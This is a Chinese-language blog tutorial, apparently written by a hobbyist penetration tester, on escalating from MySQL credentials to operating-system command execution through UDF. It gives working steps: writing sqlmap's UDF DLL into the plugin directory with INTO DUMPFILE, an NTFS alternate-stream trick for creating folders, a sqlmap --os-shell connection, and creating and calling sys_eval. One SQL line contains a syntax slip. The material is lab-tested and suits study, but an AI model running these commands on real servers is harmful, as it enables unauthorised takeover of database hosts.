前言
有些时候我们通过一些方式获取了主机的mysql的用户名和密码(可以是信息泄露,目录遍历,弱口令爆破),并且可以远程登录上;这时候我们就会想如何通过MySQL来获取服务器权限,执行系统命令,这个时候可以考虑用UDF进行提权,本次提权是在自己虚拟机进行测试,有些踩坑的地方,有很多不足或不知道的地方,希望大佬指点指点0.0
目的:MySQL权限-----》系统命令执行权限
复现过程
1、首先我们需要了解什么是UDF,通俗的讲就是用户自定义函数,它是MySQL的一个拓展接口,可以为MySQL增添一些函数。比如MySQL一些函数没有,我们就可以用UDF加一些函数进去,那么我们就可以在MySQL中使用这些函数了
使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。
提权的条件
1.获取MySQL的控制权限:知道MySQL用户名和密码,并且可以远程登录;
2.MySQL具有写入文件的权限:MySQL有写入文件的权限,即secure_file_priv的值为空
ps:mysql提权获取到的权限大小跟运行mysql所在服务器登录的账号的权限相关,如操作系统以普通用户登录的并启动mysql,经udf提权后也只能获取到系统的普通用户权限。而使用管理员登录操作系统运行mysql,提权后获取的权限则为系统管理员权限。
然后我们查询权限
show global variables like '%secure%';
ps:解释
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。如下关于secure_file_priv的配置介绍
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
代表具有写入的权限
如果secure_file_priv的值不是这个,我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ' ' ,然后重启apache服务即可生效
2、上传UDF的动态链接库文件
动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linux环境下后缀名为.so 。我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数
Mysql版本大于5.1,udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin文件夹默认不存在,需要创建)。
Mysql版本小于5.1:
如果是 win 2000 的服务器,我们则需要将 udf.dll 文件导到 C:\Winnt\udf.dll 下。
如果是 win2003 服务器,我们则要将 udf.dll 文件导出在 C:\Windows\udf.dll 下。
然后!
然后!
然后存在一个问题,目录怎么创建。经查询,网上文章说可以通过NTFS来创建
select 'xxx' into dumpfile 'C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin::$INDEX_ALLOCATTION'
失败了,写不了
使用Liqun工具
权限问题,我们就思考,如果我们实际工程中如果遇见这个,要怎么办呢
解决思路是
1、我们如果是文件上传拿到的低权限,我们可以通过低权限去写文件,但是低权限,写文件确实碰运气。
2、其实想过远程下载,但是感觉低权限下载,也是可能失败的
如果有大佬有好的思路,能否指点一下
我们现在就只能手动创建了。
下一步通过sqlmap中
此文件是加了密的,防止被删除,需要解密
接下来就是文件写入
select hex(load_file('C:\\Users\\~0.0~\\AppData\\Local\\Programs\\Python\\Python310\\sqlmap\\extra\\cloak\\udf-64.dll')) into dumpfile) 'C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin'
PS:windows目录结构下需要进行转义双写
使用sqlmap进行连接创建函数
python3 sqlmap.py -d "mysql://root:root@192.168.204.130:3306/mysql" --os-shell --random-agent
--------------------手动版--------------------------
此类可以比如信息泄露,连接数据库你可以这样
创建自定义函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
查询是否新增成功
select * from mysql.func;
执行命令
select sys_eval('whoami');
总结
UDF提权总结,UDF提权这个,我了解的是Mysql不认为是问题,都可以用,注意的点提权的条件控制权限和文件写入权限,还有UDF的动态链接库文件夹目录怎么创建。